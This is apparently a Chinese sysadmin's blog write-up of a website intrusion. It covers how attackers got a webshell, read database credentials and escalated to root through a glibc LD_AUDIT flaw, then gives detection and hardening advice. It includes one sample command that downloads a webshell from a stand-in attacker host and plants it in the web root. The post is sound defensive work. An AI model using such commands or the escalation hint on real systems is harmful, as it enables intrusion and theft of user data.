关于入侵那点事-发现之旅
4月1日,一个疯狂好玩的日子,本应该娱乐娱乐,同学们又在轻松迎接清明节,结果却发生了网站遭入侵事件,也算咱们运气以及人品爆发,正好有同事再进行服务器更新结果发现可疑进程,才及时避免了网站用户数据的遭窃。
一、入侵基本过程:
1、利用web框架漏洞取得webshell;(至于是什么漏洞这里就不抖露。)
2、上传后门代码方法之一:wget htt://xx.heike.com/webshell.txt; mv webshell.txt /wwwroot/.xx/xxx.[html/jsp/asp....];
3、www调用该页面,取得服务级用户权限,并查找架构配置文件和其中的数据库用户密码;
网上有个现成的jsp脚本,截个图大家看看:
详细功能可查看:jsp管理系统
4、到这里已经顺利的完成后门部署,可以执行远程普通用户shell了,后果已经相当可怕了。
不过这还不算完,有了普通用户的权限,离root还遥远吗?
5、利用glibc2.X 漏洞进行提权获取root帐号;(目前测下来RH5、centos5、FC13、ubuntu10…. 都悲催的)
怎么操作网上一查都是,关键字就是LD_AUDIT,同学们自己试试。
6、除了架构漏洞外,只要是被入侵后服务器,都还会留下其他多个后门隐藏在系统中、防不胜防。
二、一些处理意见
以下所写只是个人意见,一定也会存在不少疏忽和遗漏,只要你开启服务就必要有漏洞可以被利用。
1、第一时间当然是断开服务,切走流量,最好是能切断网络(如果可以的话),killall可疑进程;
2、ps -eafww中查找各个进程的父子关系,以便寻踪觅迹,找到后门代码($0伪装进程名,这里不点透了,有经验的sa应该都知道。)
3、找后门代码的方法很多,我自己琢磨了几个,希望对大家以后查找防范有帮助;
1)find /wwwroot/中的文件 按修改和创建时间查;
2)在所有目录中查找以被利用的服务用户为属主的文件:比如apache nobody等等;
3)grep -r 后门代码特征字段查找文件;
4) file * 查找后缀名和内容不相符的文件;
5)access log 可疑clientip/useragent/POST动作等等;
6)抛砖引玉……
4、就算预防吧,其实只是提高入侵成本罢了;
1)使用ssh key登录;
2)限制服务器对外访问,什么要访问www?(用proxy限制访问的域名,iptables限制ip)总之开的越小越好,最好是不开。
3)user一律nologin;开个服务要登录shell?
4)卸载编译工具,好像狠了点提高了不少维护成本啦,那就改名吧。(gcc cc都改)
5)glibc升级,我说说而已大家自己斟酌。
6)熟悉selinux的 enforce起来;
晚上辗转反侧睡不着,自己琢磨的。